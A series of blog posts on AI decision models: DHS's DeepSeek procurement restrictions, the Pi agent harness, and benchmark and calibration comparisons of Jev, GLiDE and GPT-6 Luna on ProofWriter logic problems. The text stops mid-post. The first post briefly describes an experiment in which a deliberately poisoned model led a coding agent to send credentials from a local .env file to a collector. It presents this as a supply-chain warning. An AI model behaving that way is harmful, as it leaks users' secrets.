# Anthus

---

# DeepSeek restrictions reach inside the tools

> DHS's DeepSeek restrictions reach third-party tools, too. A separate poisoned-model experiment shows why knowing whose models are inside matters.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-10-19

Canonical: https://anth.us/articles/deepseek-restrictions-inside-the-tools/

::image{src="images/posts/deepseek-dhs-notice-2026-10-19.png" layout="center-small-image" alt="Official DHS Federal Register notice, scheduled for October 20, 2026, with highlighted text covering DeepSeek, affiliates, and third-party products developed using DeepSeek implementations in federal civilian agency systems."}

DHS's [newly public notice](https://public-inspection.federalregister.gov/2026-21447.pdf) describes its July 24 order excluding DeepSeek and affiliate products from federal civilian procurement and removing them from civilian agency systems—including third-party products and services developed using DeepSeek implementations. Filed October 19 for publication October 20, it's a federal civilian restriction, not a consumer ban. For tool buyers, the practical question is: whose models are inside?

Local tools raise that question, too. In [ProjectDiscovery's controlled experiment](https://projectdiscovery.io/research/how-abliterated-models-can-get-you-pwned), a deliberately poisoned Qwen model drove Codex CLI to send dummy credentials from a local `.env` file to a collector. That demonstrates a model supply-chain risk; it doesn't establish that DeepSeek or all abliterated models steal keys. Verify where your models came from and limit what their tools can read and send, even when the agent runs on your own machine.

---

# Pi 1.0, and the Durable Agent We're Building on It

> Earendil shipped Pi 1.0 and an experimental companion, Pi Durable. Pi is one of the agents Kanbus dispatches tasks to, and we like Pi Durable so much that we're building a durable Pi agent platform into Chatticus.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-10-02

Canonical: https://anth.us/articles/pi-1-0-and-pi-durable/

::image{
  src="images/posts/pi-1-0-and-pi-durable.png"
  layout="center-small-image"
  alt="The Pi logo, coloured pixel blocks, over the tagline: There are many agent harnesses but this one is yours"
}

Earendil shipped [Pi 1.0](https://earendil.com/posts/pi-1-0/) on October 1, together with an experimental companion, [Pi Durable](https://earendil.com/posts/pi-durable/). Pi calls itself a minimal agent harness. It leaves out the sub-agents, plan modes and permission systems that other agents build in, on purpose, and lets you build or install the ones you want as extensions. Its makers explain the restraint:

> We wait until something has proven itself, and only then do we consider adopting it; weighing its true functionality against its inherent added complexity.

We care about Pi for a practical reason: it's one of the coding agents [Kanbus](https://kanb.us) can dispatch tasks to. The Kanbus router hands a routed issue package to Pi the same way it hands one to Codex or OpenCode, so a team can choose the harness that fits the work. Pi 1.0 also reaches non-LLM models through Codemode, and Earendil names Jev, the decision model we [write about here](/decision-models/), as an example.

Pi Durable is the part we like most. It turns an agent conversation into storage plus the machinery to run it: every model request, tool call and compaction is a durable task with a checkpoint, so a crashed process resumes where it stopped. One harness runs many conversations in parallel, several people can steer the same agent, and subagents are simply child conversations. Storage is memory, SQLite or JSONL, and it's built to be extended.

That's the shape of agent we want running for hours without anyone babysitting it, so we're building a durable Pi agent platform into [Chatticus](https://chattic.us): named AI teammates on a computer you control, with Pi Durable underneath.

---

# It's Not a System 1 Model If It Takes Ten Seconds

> Fastino's GLiDE beats every open model on our reasoning benchmark, but not Jev: less accurate, five times slower, ten times the cost, and a confidence that barely tells right from wrong.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-10-02

Canonical: https://anth.us/articles/glide-decision-model-ten-seconds/

**Update, October 3:** Fastino's CEO asked us to re-evaluate GLiDE, saying the company had problems during the launch. We sent the same 3,600 problems again with exactly the same request. The rerun was faster and cheaper, and less accurate: 76.4% on the open-world task, down from 82.9%, and 68.8% on the closed-world task, down from 71.8%. Jev scored 83.8% and 89.3%. The figures that follow are from the first run, on October 2; the rerun has its own section, and [both runs are side by side here](https://hard-decisions.anth.us/compare/jev-vs-glide/).

An agent is about to act, and it asks a decision model one question: approve, escalate or reject. A decision model is supposed to answer in a fraction of a second, with a probability you can set a threshold on, so the software keeps moving. [Jev](/blog/making-decisions-instead-of-generating-text/), the decision model we use most, answered our benchmark's questions in a median of about 180 milliseconds. On October 1, Fastino Labs released [GLiDE](https://fastino.ai/blog/introducing-glide-the-first-thinking-decision-model), which it calls the first thinking decision model, and reported that it beats Jev. We gave GLiDE the same 3,600 reasoning problems, and the full results are on [Jev vs GLiDE](https://hard-decisions.anth.us/compare/jev-vs-glide/). Its median answer took a second, 243 answers took ten seconds or more, and the slowest took two minutes and fifteen seconds.

In Daniel Kahneman's [Thinking, Fast and Slow](https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow), System 1 is fast, automatic judgment and System 2 is slow, deliberate reasoning. TypeSafe calls Jev a [System One model](https://typesafe.ai/blog/introducing-system-one-models-and-jev), one "built to make fast, structured decisions that software can use directly." Jev "generates all outputs in a single query," in parallel, with no text generated token by token, and TypeSafe puts its response time at 70 to 500 milliseconds. Its `/v1/systemone` endpoint takes a text and a list of typed questions and returns answers with probabilities.

Fastino is upfront that GLiDE works differently. It calls GLiDE a thinking decision model, and says its API "conforms to the System One model schema": GLiDE answers on [the same endpoint](https://docs.fastino.ai/inference/systemone), with the same request and response, and Fastino publishes a guide to migrating from TypeSafe. That made our test simple, because GLiDE got exactly the request Jev gets. It also makes a critical difference easy to overlook if you don't evaluate your options carefully. The interface is the same, but what happens behind it isn't. A model that sometimes stops to reason for a minute is a System 2 model behind a System 1 interface.

::image{
  src="images/glide-decision-model-ten-seconds-latency.png"
  layout="full"
  alt="Histogram of seconds per decision on a log scale. Jev's 3,600 decisions sit in one narrow peak around
  0.15 to 0.25 seconds, median 179 milliseconds. GLiDE's form two humps: a large one between half a second
  and two seconds, median 1.0 second, and a long second hump from 3 seconds to over 100 seconds. A dashed
  line at 10 seconds is labelled: 243 GLiDE decisions took 10 seconds or more; the slowest took 135 seconds."
  caption="Time per decision on the same 3,600 problems. Jev was timed one request at a time, GLiDE with eight requests in flight."
}

GLiDE's times form two humps. About three quarters of its answers come back in half a second to two seconds. The other quarter take three seconds to two minutes, and those are GLiDE thinking. Fastino describes the design in [its launch post](https://fastino.ai/blog/introducing-glide-the-first-thinking-decision-model): "Traditional decision models score a set of options in a single fixed pass." GLiDE instead "first produces a fast probability distribution, then allocates additional reasoning when the leading result is uncertain," so it can "spend more computation on difficult decisions while keeping straightforward ones fast." That's the pattern usually called test-time compute: spending more time and money at answer time to get a better answer. Fastino's API documentation recommends a read timeout of at least 300 seconds.

The extra work shows up on the bill. Fastino charges $0.30 per million input tokens, and [its documentation](https://docs.fastino.ai/concepts/decision-models) says the reported input tokens sum the model's internal passes. The slow requests reported about 2,000 input tokens each against about 290 for the fast ones. Across the 3,600 problems, at list prices, GLiDE cost $213 per million decisions and Jev $23: 9.3 times as much, and 10.4 times as much per correct answer, because GLiDE was also less accurate. [The cost breakdown](https://hard-decisions.anth.us/cost-per-decision/) has every model with an API price.

One caveat on the timing. We sent GLiDE eight requests at a time, because sending them one at a time would have taken more than three hours, so some of its fast-path time may be queueing on Fastino's side. That doesn't explain the second hump: those requests carried seven times as many tokens.

## Deeper problems cost GLiDE more time and money

If the extra time is reasoning that gets billed, time and cost should rise together on the problems GLiDE finds hard. They do: across all 3,600 requests, GLiDE's billed tokens and its response time correlate at 0.94.

::image{
  src="images/glide-decision-model-ten-seconds-time-and-cost-by-depth.png"
  layout="full"
  alt="Four bar charts by proof depth, Jev against GLiDE. Top row, average seconds per decision: Jev is 0.2
  seconds at every depth on both tasks. On the open-world task GLiDE rises from 1.1 seconds at depth 0 to
  3.4, 5.3, 6.7 and 6.6 seconds, then 4.4 at depth 5; on the closed-world task it is 0.9 seconds at depth 0
  and 2.2 to 2.5 seconds at depths 1 to 5. Bottom row, list-price cost per million decisions: Jev is $22 to
  $24 at every depth. GLiDE's open-world cost rises from $97 at depth 0 to $213, $288, $374 and $391, then
  $305; its closed-world cost is $84 at depth 0 and $157 to $167 at depths 1 to 5."
  caption="Average time and list-price cost per decision by proof depth, about 300 problems per bar. Jev's times are from a one-at-a-time rerun."
}

Jev does the same work on every problem: about a fifth of a second and $23 per million decisions, whether the answer is written in the text or needs five chained rules. On the open-world task GLiDE spends more as problems get deeper, from $97 per million decisions and 1.1 seconds on average at depth zero to $391 and 6.6 seconds at depth four. On the closed-world task it spends about the same, $160 and 2.4 seconds, at every depth past zero, and that's the task where its accuracy fell furthest.

## A tie on one task, a 17-point loss on the other

[Hard-Decisions](https://hard-decisions.anth.us/) is our benchmark of decision models on multi-step logic. Each problem is a short list of facts and if-then rules from ProofWriter, a statement, and a question: does the statement follow? Proof depth counts how many rules you have to chain to answer it, from zero (the answer is written down) to five. In the open-world task the answer is true, false or unknown. In the closed-world task anything you can't prove is false, so the answer is true or false. Every model answers every problem once, with the same wording and no examples. [The GPT-6 Luna write-up](/blog/openai-decisions-api-preview/) walks through a problem at each depth.

| Model | Open world | Closed world |
| --- | --- | --- |
| Jev | 83.8% | 89.3% |
| GLiDE | 82.9% | 71.8% |
| GPT-6 Luna, reasoning off | 64.1% | 65.0% |
| Kev-9B, the best open model | 58.6% | 63.8% |
| Laya | 42.4% | 55.6% |

[The Jev vs GLiDE comparison](https://hard-decisions.anth.us/compare/jev-vs-glide/) has every one of these numbers by proof depth and answer type, with example problems each model got right and wrong. We expected GLiDE to beat the open models, and it did, by more than 20 points on the open-world task. There it also matched Jev: 0.9 points behind on the same 1,800 problems, inside the margin of error, and level at every depth up to four. That tie didn't survive the rerun Fastino asked for, where GLiDE was 7.4 points behind.

The closed-world task went the other way. Jev was 17.5 points ahead (95% interval 15.4 to 19.6), and the gap grew with depth: about 20 points at depths two to four and 40 points at depth five, where GLiDE got 49% of the true-or-false questions right. A coin flip gets 50%.

::image{
  src="images/glide-decision-model-ten-seconds-accuracy-by-depth.png"
  layout="full"
  alt="Two line charts of accuracy by proof depth. Open world: Jev and GLiDE overlap from 98% at depth 0 down
  to about 73% at depth 4; at depth 5 Jev is at 81% and GLiDE at 75%. Closed world: both start at 99%; Jev
  stays between 76% and 94% and ends at 89%; GLiDE falls steadily to 72%, 64%, 56% and ends at 49% at depth
  5, on the 50% chance line."
  caption="Accuracy by proof depth, about 300 problems per point. The dashed line is chance: one in three for open world, one in two for closed world."
}

Fastino's claim comes from its own Decision Index, a suite of 38 benchmarks on which it reports GLiDE at 64.81 and Jev at 57.91. Hard-Decisions isn't in that suite, and on Hard-Decisions GLiDE didn't beat Jev.

GLiDE's open-world answers also lean toward "unknown." It got 96% of the unknown problems right but only 76 to 77% of the true and false ones, and 282 of its misses were true or false statements it called unknown.

## When GLiDE says 80 to 90%, it's right 73% of the time

A decision model's probability is what lets you route: act on the confident answers, send the rest to a person. So we asked of GLiDE what we [asked of GPT-6 Luna](/blog/openai-decisions-api-preview/): when it states a probability, how often is it right?

::image{
  src="images/glide-decision-model-ten-seconds-reliability.png"
  layout="full"
  alt="Reliability chart of stated probability against actual accuracy, both tasks pooled. Jev's line climbs
  below and near the diagonal and reaches 99% accuracy at the top. GLiDE's line starts high: 339 answers
  stated at 50 to 70% were 93% right. It drops to 71% and 73% right for the 70 to 80% and 80 to 90% bands,
  which hold most of its answers, then climbs to 80%, 87% and 98% in the top bands."
  caption="Each point is a band of stated probability; the dashed diagonal is where a perfectly calibrated model would sit. Both tasks pooled."
}

GLiDE's least confident answers were its most accurate. The 339 answers it stated at 50 to 70% were right 93% of the time. The 1,278 answers it stated at 80 to 90%, its most common band, were right 73% of the time. Its stated probability only matches its accuracy at the very top: answers at 99% or more were right 98% of the time, but only 85 of its 3,600 answers were stated that high.

That shape matters more than the average. The standard test is AUROC: how well the stated probability separates right answers from wrong ones, where 0.5 means it carries no information and 1.0 means it separates them perfectly. GLiDE scored 0.56 on the open-world task and 0.52 on the closed-world one. Jev scored 0.85 and 0.86. Even GPT-6 Luna's log-probabilities scored 0.66 and 0.68.

In practice: if you only let answers stated at 90% or more through, Jev passes 70% of its decisions and gets 95.9% of those right. GLiDE passes 26% and gets 84.5% right, close to its 77% overall.

## Its least sure answers are the ones it thought about

The fast and slow humps explain the strange shape. We split GLiDE's answers at two seconds:

| | Answers | Right | Average stated probability |
| --- | --- | --- | --- |
| Open world, fast | 1,157 | 79% | 85% |
| Open world, slow | 643 | 91% | 72% |
| Closed world, fast | 1,559 | 68% | 86% |
| Closed world, slow | 241 | 95% | 76% |

The thinking works. When GLiDE stopped to reason, it was right 91 to 95% of the time, and it reported lower probabilities for those answers. The problem is how it decides when to think: by its own first probability, the same probability that can't tell its right answers from its wrong ones. On the closed-world task its fast answers averaged 86% stated confidence and were right 68% of the time, so it thought on only 13% of the problems and answered the rest quickly and often wrong.

You can see it in the timing by depth. On the open-world task GLiDE took more than two seconds on 3% of depth-zero problems and on 56% of depth-four ones, and its median time climbs from 0.9 to 5.0 seconds, so it notices that deep problems are hard. On the closed-world task it took more than two seconds on 15 to 16% of problems at every depth from one to five, and its median stays at 0.9 seconds throughout. It treats a five-step true-or-false question as if it were a one-step one. That's the difference between tying Jev and losing to it by 40 points.

We think the fix GLiDE needs is the one Luna needs: a probability that's higher when the answer is right. GLiDE's design depends on that more than most models do, because the same probability decides when to spend the extra time.

## The rerun at Fastino's request

On October 3, Fastino's CEO asked us to re-evaluate GLiDE, saying Fastino had problems during the launch. We sent the same 3,600 problems again with the same request and settings, eight at a time as before. Fastino's API reports the model as "glide" both times, so the responses don't show what changed.

| | October 2 | October 3 rerun |
| --- | --- | --- |
| Open world accuracy (Jev: 83.8%) | 82.9% | 76.4% |
| Closed world accuracy (Jev: 89.3%) | 71.8% | 68.8% |
| Open world, depths 0 to 5 | 98, 88, 84, 79, 74, 75% | 98, 87, 80, 70, 61, 62% |
| Median time per decision, open world | 1.15 s | 0.80 s |
| Decisions taking ten seconds or more, both tasks | 243 | 180 |
| Input tokens billed per decision, open world | 927 | 531 |
| List-price cost per million decisions, open world | $278 | $159 |

The rerun was faster and billed about 40% fewer tokens per decision, and since GLiDE bills its extra reasoning as tokens, it looks like it reasoned less. It was also less accurate where reasoning matters: on the open-world task, 141 answers changed between the runs, 129 of them from right to wrong, and most of those at depth three and deeper. On the closed-world task 61 answers changed, 57 from right to wrong. The rerun still left GLiDE ahead of every open model, and further behind Jev than before.

## What we'd tell a team choosing a decision model

GLiDE is better at multi-step reasoning than any open model we've tested, by more than 20 points on the open-world task, and its thinking answers were right more than nine times in ten. But it isn't real competition for Jev. It's less accurate: 17.5 points behind on the closed-world task in the first run, and behind on both tasks in the rerun Fastino asked for. It's slower, five times at the median, with a tail that reaches minutes. Its confidence barely separates its right answers from its wrong ones. And it costs about ten times as much per decision.

The reason is the design Fastino chose. A decision model competes with Jev where it can sit inside every step of an agent and answer in a fraction of a second, which is what a System One model is for. A model that sometimes takes a minute to respond isn't a System One model, however its API is shaped. Fastino says plainly that GLiDE thinks; the risk is for teams that see the same endpoint and the same request format and assume they're getting the same kind of model.

- **Plan for the slowest answers.** A one-second median hides a 6.8% chance that a decision takes ten seconds or more, and an agent makes many decisions per task.
- **Check the probability against labeled answers before you set a threshold.** On our problems, GLiDE's high numbers weren't more likely to be right than its middling ones.
- **Test the question formats you'll actually use.** The same logic asked as true, false or unknown and as true or false gave GLiDE a tie with Jev on one and a coin flip on the other at depth five.
- **Price the thinking.** Its slow answers bill about seven times the tokens of its fast ones. Here GLiDE cost 9.3 times what Jev did per decision, and more on the harder problems.

## How we measured

GLiDE got exactly Jev's request through Fastino's `/v1/systemone` endpoint, model `fastino/GLiDE`, one request per problem, no examples and no retries of an answer. We didn't ask GLiDE every question a second time, so there's no measure of how often it changes its answer, and its times come from the scored run with eight requests in flight. Two requests returned server errors and succeeded on the retry. GLiDE launched the day before we tested it, and Fastino may change it. ProofWriter is synthetic, templated logic, so these numbers describe multi-step reasoning of that kind. The full comparison is on [Jev vs GLiDE](https://hard-decisions.anth.us/compare/jev-vs-glide/), and every record is on [hard-decisions.anth.us](https://hard-decisions.anth.us/).

If you're choosing a decision model, run this kind of test on your own decisions: labeled cases from your own work, hard ones included, every model asked the same way, accuracy by difficulty, the slowest answers as well as the median, and a check that each model's probability separates its right answers from its wrong ones. [That's work we do with teams](/ai-solutions/).

---

# The OpenAI Decisions API Needs a Confidence You Can Trust

> We've routed decisions on LLM confidence since 2023, and calibration is what we most hope OpenAI's new Decisions API gets right. The model underneath, GPT-6 Luna, isn't there yet: on 3,600 reasoning problems its 99% meant 68%, and by five inference steps it was at a coin flip.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-10-01

Canonical: https://anth.us/articles/openai-decisions-api-preview/

Say you send an agent's next step to a decision model, and you only let it act on its own when it's at least 99% sure. Everything else goes to a person. That rule is only as good as the 99%. We gave GPT-6 Luna, the model behind OpenAI's new Decisions API, 3,600 reasoning problems and asked for exactly that kind of answer. When Luna said it was 99% sure or more, it was right 68% of the time.

OpenAI announced the Decisions API at DevDay on September 29, in limited preview. It picks one answer from a list you define, so software can branch on it: classify a message, route a request, choose what an agent does next. [The Decoder](https://the-decoder.com/openai-expands-codex-and-its-api-at-devday-with-security-scans-a-decisions-api-and-ultrafast/) and [Axios](https://www.axios.com/2026/09/29/openai-dev-day-2026-dots-space-sol) report it runs on "a version of GPT-6 Luna," OpenAI's low-cost model, and OpenAI's own chart puts it at 150 milliseconds a decision. It's OpenAI's answer to [Jev](/blog/making-decisions-instead-of-generating-text/).

We'd already run Luna that way. In [Hard-Decisions](https://hard-decisions.anth.us/), our benchmark of decision models on multi-step logic, Luna answered the same problems as Jev, Kev and Laya, one request each, from a fixed list of options. That makes it a preview of a Luna-based decision model. It isn't the Decisions API itself: OpenAI uses a specialized version of Luna, and there's no documentation yet to test against.

## Why we care

We've been routing on a model's confidence since 2023. For [Call Criteria](/blog/call-criteria/), LLMs score calls against hundreds of client scorecards, and people review the calls the system is unsure about. Everything depends on knowing which calls those are. When we read that confidence from the token log-probabilities of OpenAI's models, [the numbers were so concentrated](/blog/making-decisions-instead-of-generating-text/) that they looked certain about nearly every answer. OpenAI's models have had confidence problems for as long as we've used them, and not the shy kind. Newer reasoning models often don't expose log-probabilities at all. So we built the confidence ourselves: extract the probability behind each label, check it against labeled answers, calibrate it, and only then route on it. [Classification with Confidence](/blog/classification-with-confidence/) shows that pipeline on GPT-4o-mini.

That's the pain the Decisions API could end. What we're hoping for most is that OpenAI now treats calibration as a product: a confidence you can set a threshold on, documented and tested, instead of something withheld from the API, which we suspect, without proof, is partly about making the models harder to distill. A decision endpoint is where that would have to happen. So we wanted to know what the model underneath does today.

::image{
  src="images/openai-decisions-api-preview-accuracy-by-depth.png"
  layout="full"
  alt="Line chart of accuracy by proof depth from 0 to 5 on 3,600 problems. Jev starts near 99% and is still
  at 85% at depth 5. GPT-6 Luna starts near 96%, drops to 77% at depth 1 and 63% at depth 2, and ends at 45%
  at depth 5."
  caption="Accuracy by the number of inference steps the answer needs, both ProofWriter tasks pooled."
}

## The test

The problems come from ProofWriter, a dataset from the Allen Institute for AI. Each one is a short list of facts and if-then rules in plain English, and a statement to judge. Some answers can be read straight off the page. Others need five rules chained together. The dataset labels every problem with that number, its proof depth, which makes difficulty something you can measure instead of argue about.

There are two versions of the task. In the open-world one the answer is true, false or unknown: unknown when the rules settle neither the statement nor its opposite. In the closed-world one, anything you can't prove is false. We sampled 1,800 problems for each, about 300 at every depth, and recomputed every gold answer with an independent solver.

Luna got the same treatment as everyone else. One request per problem. The problem, the question and the meaning of each option, word for word what Jev receives. A strict JSON schema that only allows the three options. Reasoning off, which is the setting a fast decision API implies.

## Accuracy: fine on the page, coin flips five steps in

On problems you can answer by reading, Luna is nearly as good as Jev: 93% against 98% on the open-world task, and 98% against 99% on the closed one. Then it loses ground with every step. By five chained inferences Luna gets 46% and 45% right. On the closed-world task, that's a coin flip. Jev gets 81% and 89% at the same depth, on the same problems.

Across all depths, Jev scored 83.8% and 89.3%; Luna, 64.1% and 65.0%. The gap at depth 5 is 35 and 45 points, with 95% intervals from 27 to 43 and from 38 to 51. That isn't a close call.

You might be thinking that reasoning off is what sank Luna. Turning it on might help, but it would also make every decision slower and costlier than the one-shot job a decision API exists to do, and every model here got the same single shot. The open models we tested are stuck at depth 5 too: [every model except Jev](https://hard-decisions.anth.us/breakdowns/proof-depth/) was at coin-flip accuracy by depth 5.

## Wrong when the answer is on the page

Most of Luna's misses come from long chains, but not all of them. At depth 0, where the statement or its opposite is written in the text, Luna got 20 of 300 open-world problems wrong and 6 of 300 closed-world ones. At depth 1, one rule away, it missed 67 of 302 and 70 of 300. Here are the shortest of those misses at each depth, in each version of the task, with the confidence Luna gave when we asked again for log-probabilities and it gave the same answer:

- **Depth 0, open world.** The text says "The lion is not big." Is "The lion is big" true, false or unknown? It's false; the text says so. Luna said **unknown, 100% sure**.
- **Depth 0, closed world.** The text says "Charlie is nice." Is "Charlie is not nice" true or false? False. Luna said **true, 100% sure**.
- **Depth 1, open world.** "The tiger is big. All big people are cold." Is "The tiger is cold" true? Yes, one rule away. Luna said **unknown, 100% sure**.
- **Depth 1, closed world.** "The rabbit is big. If someone is big then they chase the rabbit." Is "The rabbit does not chase the rabbit" true or false? False: the rabbit is big, so it chases the rabbit. Luna said **true, 100% sure**.

They're the clearest of Luna's misses; at depth 0 it's right 93% and 98% of the time. But a decision model that can be 100% sure Charlie is not nice, when the text says Charlie is nice, needs more than a threshold on its confidence.

## Can Luna tell you how sure it is?

A decision model earns its keep when you can trust its confidence. Jev returns a probability for every option. Luna, through the regular API, returns text. But with reasoning off, OpenAI's API will also return log-probabilities: for each token Luna writes, the log of the probability it gave that token, plus the most likely alternatives. With reasoning on, it refuses: "'logprobs' is not supported with this model," which matches [OpenAI's guide](https://developers.openai.com/api/docs/guides/latest-model).

The strict schema makes the reading clean. It only lets Luna reply `{"answer":"<option>"}`, so the token that spells the option carries the whole decision, with no "No" versus "no" to reconcile. Turn its log-probability into a probability and you have Luna's confidence in the answer it gave.

Here's one real exchange. The request, minus the long prompt:

```json
{
  "model": "gpt-6-luna",
  "reasoning_effort": "none",
  "max_completion_tokens": 1024,
  "response_format": {
    "type": "json_schema",
    "json_schema": {
      "name": "decision",
      "strict": true,
      "schema": {
        "type": "object",
        "properties": { "answer": { "type": "string", "enum": ["true", "false", "unknown"] } },
        "required": ["answer"],
        "additionalProperties": false
      }
    }
  },
  "logprobs": true,
  "top_logprobs": 5
}
```

The problem, in its paraphrased form:

> Alan is young, round, and kind, but that doesn't mean he isn't also rough and cold at times, as well. … Young round people who are green are usually blue. … Kind people with rough skin are usually red because it's wind burn. If someone shows that they are red, then they are also showing that they are green. …
>
> Statement: Alan is not blue.

And Luna's answer, with its log-probabilities:

```json
"content": "{\"answer\":\"unknown\"}",
"logprobs": { "content": [
  { "token": "{\"",     "logprob": 0.0,      "top_logprobs": [ { "token": "{\"",     "logprob": 0.0 } ] },
  { "token": "answer",  "logprob": 0.0,      "top_logprobs": [ { "token": "answer",  "logprob": 0.0 } ] },
  { "token": "\":\"",   "logprob": 0.0,      "top_logprobs": [ { "token": "\":\"",   "logprob": 0.0 } ] },
  { "token": "unknown", "logprob": -0.00182, "top_logprobs": [ { "token": "unknown", "logprob": -0.0018 } ] },
  { "token": "\"}",     "logprob": 0.0,      "top_logprobs": [ { "token": "\"}",     "logprob": 0.0 } ] }
]}
```

A log-probability of −0.00182 is a probability of 99.82%. We asked for five alternatives and got none: Luna put essentially nothing on "true" or "false". And it's wrong. Alan is kind with rough skin, so he's red; red means green; young, round and green means blue. "Alan is not blue" is false, three steps in.

## When Luna says 99%

One example proves nothing, so we asked for log-probabilities on all 3,600 problems with exactly the benchmark's request. It cost about 14 cents, and every request and response is [kept verbatim](https://hard-decisions.anth.us/openai-decisions-api-preview/).

::image{
  src="images/openai-decisions-api-preview-reliability.png"
  layout="full"
  alt="Reliability chart of stated probability against actual accuracy. Jev's line climbs close to the
  diagonal and reaches 98.9% accuracy among 1,667 answers stated at 99% or more. GPT-6 Luna's line stays near
  50% for every band up to 97% and reaches only 68% among 2,672 answers stated at 99% or more."
  caption="Each point is a band of stated probability; the dashed diagonal is where a perfectly calibrated model would sit. Both tasks pooled."
}

Luna stated 99% or more on 2,672 of the 3,600 answers, and 68% of those were right. Below that it's flat: whether Luna says 70%, 90% or 97%, it's right about half the time. Jev stated 99% or more on 1,667 answers and got 98.9% of them right. Its line runs close to the diagonal the whole way.

The other numbers say the same thing:

- **Wrong answers stated at 95% or more:** 78% of Luna's, against 7% and 17% of Jev's on the two tasks.
- **Expected calibration error**, the average gap between stated and actual: 0.32 for Luna on both tasks; 0.04 and 0.03 for Jev.
- **Separating right from wrong** (AUROC, where 0.5 means the probability tells you nothing): 0.66 and 0.68 for Luna; 0.85 and 0.86 for Jev.

## Past a few steps, the confidence carries no information

Overconfidence on its own is fixable. If a model's 99% always means 68%, you can relabel it, the same way [Jev's confidence calibrates](/blog/can-you-trust-jev-confidence/). What calibration can't fix is a probability that doesn't move with being right.

::image{
  src="images/openai-decisions-api-preview-auroc-by-depth.png"
  layout="full"
  alt="Line chart of AUROC by proof depth. Jev stays between 0.76 and 0.97 at every depth and ends at 0.84.
  GPT-6 Luna falls from 0.88 at depth 0 to 0.72, 0.63, 0.56 and 0.54, and ends at 0.51 at depth 5, on the
  coin-flip line."
  caption="How well each model's stated probability separates its right answers from its wrong ones, by proof depth. 0.5 is no information at all."
}

On problems you can read off the page, Luna's probability is informative: right answers get higher numbers than wrong ones. Each inference step erodes that, and by five steps the AUROC is 0.51: a high stated probability is no more likely to be right than a low one. Remapping the numbers can't add information they don't carry, so on hard problems a threshold on Luna's confidence routes at random. Jev's still sorts right from wrong at 0.84.

## Hidden, or just overconfident?

We'd assumed OpenAI hides Luna's log-probabilities. With reasoning off, it mostly doesn't. The alternatives it returns cover 99.8% of the probability on average; the ones it leaves out carry almost nothing. The problem in these results is overconfidence, not secrecy.

That fits what OpenAI itself reported for GPT-4: the pre-trained model's probabilities were well calibrated, and post-training made them markedly worse ([GPT-4 Technical Report](https://arxiv.org/abs/2303.08774), figure 8). It also fits our experience with OpenAI models generally. Where they expose log-probabilities, they've been too sure of themselves to calibrate into a confidence you'd route on.

Why does the API refuse log-probabilities once reasoning is on? We don't know. Researchers have recovered part of a production OpenAI model from its API's log-probabilities and logit bias, and OpenAI changed its API in response ([Carlini et al., 2024](https://arxiv.org/abs/2403.06634); see also [Finlayson et al., 2024](https://arxiv.org/abs/2403.09539)). OpenAI has also kept o1's raw reasoning private, partly for competitive advantage ([OpenAI](https://openai.com/index/learning-to-reason-with-llms/)). Protecting the model from distillation is a plausible reason. We have no evidence that it's the reason.

## What this means for the Decisions API

We'll admit these results worry us. We want the Decisions API to be good: we've waited years for a hosted model whose confidence we could route on. But the model it's built on lost to Jev by 35 to 45 points at five inference steps, and its 99% meant 68%. A specialized version has a lot of ground to make up, on accuracy as much as on confidence.

Some coverage says the Decisions API returns a confidence score. OpenAI hasn't published documentation, so we can't say. If it does, these results tell you what to check before you route on it:

- **Test it at the difficulty you'll run it at.** Easy problems flatter everyone. Luna and Jev are within a few points at depth 0.
- **Check calibration against labeled answers before you set a threshold.** A 99% that means 68% will push the wrong decisions past your reviewers.
- **Check that the confidence separates right from wrong on your hardest cases.** If it doesn't, no calibration will rescue it.
- **Ask twice.** Asked every question a second time, Luna gave a different answer on 10% of them; Jev changed on 2 to 3%, and Kev-0.8B, Kev-4B and Laya on none. Part of that is sampling: 137 of Luna's replies weren't even its own most probable answer, because OpenAI samples at its default temperature.

A specialized Luna may do better than the general one. When the Decisions API opens up, we'll put it through the same 3,600 problems and the same probe.

## How we measured

Every model answered the same 3,600 problems once, with the same wording and no examples. The Luna probe sits outside the scored benchmark. Luna ran with reasoning off at OpenAI's default sampling. ProofWriter is synthetic, templated logic, so these numbers describe multi-step reasoning of that kind; other tasks deserve their own test. The full results and every record are on [hard-decisions.anth.us](https://hard-decisions.anth.us/).

If you're choosing between the Decisions API, Jev and an open model, run the same kind of test on your own decisions before you trust any of them: labeled cases from your own work, hard ones included, every model asked the same way, accuracy by difficulty, and a check that each model's confidence separates its right answers from its wrong ones. ProofWriter shows how these models handle chained logic; your own cases show how they'll handle your decisions. [That's work we do with teams](/ai-solutions/).

---

# Can Averaging Reduce Noise in an AI Decision Model?

> We asked Jev the same question ten times in one request and expected ten identical answers. They split, four votes to six. Kahneman, Sibony and Sunstein call that kind of variation noise. Averaging the copies didn't make Jev more accurate, but it cut changed answers on a rerun by about a third.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-10-01

Canonical: https://anth.us/articles/can-averaging-reduce-noise/

It started with a question that seemed to have an obvious answer. Jev, a decision model from TypeSafe, lets one request ask several questions about the same piece of text. So what happens if you put the same question in one request ten times? Same model, same text, same question, sent at the same moment. Ten identical answers, surely.

We tried it on five logic problems. On one of them, the ten copies came back with ten different sets of probabilities, and they didn't agree on the answer either: four said the statement was false and six said it was unknown. The correct answer was false.

People do this too. In *Noise* (2021), Daniel Kahneman, Olivier Sibony and Cass Sunstein describe a test they ran at an insurance company. Underwriters were given the same realistic cases and asked to quote a premium. The company's executives expected two underwriters to differ by about 10%. The typical difference was 55%. Same company, same rules, same case, and the price depended on who got your file.

The book separates two kinds of error in judgment. **Bias** is a consistent lean in the wrong direction. **Noise** is variation in judgments that should have come out the same. Some of it comes from different people, and some from the same person at different moments, which the authors call occasion noise: the same expert, shown the same case again, reaching a different conclusion. Our ten copies were occasion noise in a machine.

It matters outside a lab. Run the same batch of records through a decision model twice and some of the labels come back different, though nothing about the records changed. Picture a support ticket filed as "billing" yesterday and "account access" today, or a listing that passes a policy check, then fails it when the other side of the marketplace runs the same check. With Jev, on a thousand logic problems, it happened to about one answer in forty. Small, until it's your record that flipped and someone has to explain why.

The book's main remedy for noise is to average several judgments, and Jev makes that unusually cheap, because a request can carry the same question many times. So we asked two questions in turn. Does averaging the copies make Jev more accurate? It doesn't. Does it at least make Jev give the same answer when you ask again? It does: ten copies cut the changes by about a third. That's the line the book draws: averaging removes noise, not bias.

::image{
  src="images/jev-pooled-flips.png"
  layout="full"
